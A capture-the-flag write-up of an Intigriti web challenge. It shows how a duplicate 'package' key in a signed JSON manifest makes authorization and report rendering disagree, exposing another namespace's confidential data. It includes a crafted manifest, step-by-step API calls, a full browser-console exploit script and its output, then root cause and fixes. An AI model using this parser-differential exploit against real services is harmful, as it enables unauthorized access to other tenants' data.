Two parsers, one signature (2026)
WEB CTF Published 03.08.2026The interesting bugs are rarely in the cryptography. They are in the seam between two components that both believe they are looking at the same thing.
This one is from Intigriti's monthly challenge series: the July 2026 edition, 0726, which ran from 27 July to 3 August. Everything below is written up now that it has closed.
The target was a package registry. You register, you get a namespace, and you can build a manifest: a small JSON document describing a package. The manifest is previewed, then signed (SHA-256 plus a signature over the raw bytes), then published, and publishing generates a compatibility report.
Four stages, one document. Authorization happens in the first two, against the namespace you own. The package identity that ends up in the report is decided in the last one. Nothing in between checks that those two are still the same package.

That gap is the bug. Everything below is just the cheapest way to climb into it.
Finding it
The scope notice said to look for XSS. The public challenge page said to look for a vulnerability on the challenge page. Those are different instructions, and the first one sends you hunting for a sink that is not there. The client renders nothing an attacker controls, and no field I could set reaches HTML or a script context.
What is there is a release note. The seeded legacy-adapter package ships one, and it describes the system's own parsing boundary in ordinary changelog English: historical ingestion keeps the initial package declaration, and report rendering works from reconstructed manifest data.
That is not flavour text. It is the challenge pointing straight at the seam. The question stops being where the sink is and becomes what happens when those two stages disagree about the same document.
The seam
A signature over raw bytes proves the bytes did not change. It says nothing about what those bytes mean. And "the manifest" here is parsed more than once, by code that disagrees about one specific case: a duplicate top-level key.
JSON has no real answer for this. The spec says object member names should be unique, then leaves the behaviour to whoever wrote the parser. Most parsers keep one of the two silently. Which one depends on the implementation, and the two halves of this system had made different choices.
So I gave it two package declarations and let them argue.
{
"package": {
"scope": "<your-namespace>",
"name": "legacy-adapter",
"version": "0.9.0"
},
"package": {
"scope": "core",
"name": "security-notes",
"version": "1.0.0"
},
"metadata": {
"description": "Compatibility check",
"visibility": "private"
},
"operation": "preflight"
}
This is a single valid JSON document. Every byte of it goes into the hash, including both declarations. The signature has no opinion about which one is real, because from where it sits that question does not exist.

Ingestion and authorization keep the first declaration: my own package, in my own namespace, so everything passes. Report reconstruction reads the last one: @core/security-notes, which I have no business seeing.

Sign the bytes and I am authorized as the owner of legacy-adapter. Publish the identical bytes and the report is built for @core/security-notes. Same SHA-256, same signature, valid end to end. The bytes never moved. Only the meaning did.
Doing it
Nine steps, and nothing beyond a browser console:
- Register an account. Read
user.namespaceandcsrf_tokenfromGET /api/me. - Build the manifest above, with your own namespace in the first declaration and
core/security-notesin the second. - Base64 the raw text. Do not parse it first.
- Send it as
manifest_b64toPOST /api/manifests/preview, with thex-csrf-tokenheader. It returns 200. - Send the identical value to
POST /api/manifests/sign. Keepapproval_id,manifest_sha256,nonce,expires_atandsignature. - Send the identical
manifest_b64, plus every approval field, toPOST /api/publications. - Request
GET /api/publications/<publication_id>. - Read
targetandreport.target. Both say@core/security-notes. - The flag is sitting in
report.release_notes.
Step 3 is the whole trick. Almost any convenience helper you reach for will quietly normalise the document and drop one of the two keys, and with it the bug. The duplicate has to survive intact all the way to the far side.

(async () => {
const me = await (await fetch("/api/me", { credentials: "include" })).json();
const raw = `{
"package": {
"scope": "${me.user.namespace}",
"name": "legacy-adapter",
"version": "0.9.0"
},
"package": {
"scope": "core",
"name": "security-notes",
"version": "1.0.0"
},
"metadata": {
"description": "Compatibility check",
"visibility": "private"
},
"operation": "preflight"
}`;
const manifest_b64 = btoa(raw);
const headers = {
"content-type": "application/json",
"x-csrf-token": me.csrf_token
};
const post = (url, body) => fetch(url, {
method: "POST",
credentials: "include",
headers,
body: JSON.stringify(body)
}).then(r => r.json());
await post("/api/manifests/preview", { manifest_b64 });
const approval = await post("/api/manifests/sign", { manifest_b64 });
const publication = await post("/api/publications", {
manifest_b64,
approval_id: approval.approval_id,
manifest_sha256: approval.manifest_sha256,
nonce: approval.nonce,
expires_at: approval.expires_at,
signature: approval.signature
});
const report = await (await fetch(
`/api/publications/${encodeURIComponent(publication.publication_id)}`,
{ credentials: "include" }
)).json();
console.log(report);
})();
Preview returns 200. Sign hands back an approval bound to the bytes. Publish accepts them, and the report comes back for a package in a namespace I was never granted:
{
"target": "@core/security-notes",
"version": "1.0.0",
"status": "ready",
"report": {
"target": "@core/security-notes",
"compatibility": "Read-only preflight completed.",
"release_notes": "INTIGRITI{019f8700-4613-74fb-923e-781903e4bee9}",
"package_exists": true
}
}
No privileged account, no brute force, no victim interaction. One ordinary session and a document that means two things.
What does not work
The failures are worth writing down, because each one narrows the space.
Editing the manifest after signing fails. The signature covers the bytes, and changing any of them invalidates it. That control does exactly its job.
Parsing the JSON and re-serialising it before sending fails too, and this is the one that quietly costs people their afternoon. JSON.parse collapses the duplicate the moment it touches the document, so what you transmit carries a single package key and the bug has evaporated. Plenty of HTTP clients and helper functions will do this for you without mentioning it.
Registering core yourself is not on the table either. It is platform-maintained.
Impact
An ordinary authenticated user ends up reading a compatibility report in the platform-maintained core namespace, including its confidential release notes. That is cross-namespace information disclosure. Nothing in the chain writes to the registry, so there is no integrity or availability impact to claim.
Root cause
The system signs bytes but never forces every security-sensitive stage to agree on one parsed representation of them.
same signed bytes
|
+-- authorize -> first package -> @you/legacy-adapter (allowed)
|
+-- render -> last package -> @core/security-notes (protected)
The signature does its job perfectly. It stops anyone from changing the bytes. It cannot stop two parsers from disagreeing about what unchanged bytes say, and nothing re-checks authorization against the identity the report is actually built for.
Worth separating the two failures, because only one of them is exotic. The parser disagreement is the interesting half, but it is not what made this exploitable: plenty of systems parse a document twice and survive. What made it exploitable is that authorization ran once, early, against a value that was allowed to change afterwards. The duplicate key is just the cheapest way to change it.
The fix

- Reject duplicate object member names, at every nesting level, before anything is previewed or signed. A manifest that can be read two ways should be rejected outright.
- Parse each manifest once, into a typed internal representation, and pass that same object through preview, signing, publication, and rendering. Never re-parse the raw bytes downstream.
- Canonicalize the package identity, then re-run the authorization check against that final
@scope/nameimmediately before the registry lookup, not only at the front door. - Bind the approval to the authenticated user and the canonical target, not only to the bytes. An approval that says "these bytes are fine" is not the same claim as "this user may publish this package".
Sign the meaning, not just the bytes. A signature is an integrity control; here it had been quietly promoted to an authorization control, and those are not the same job.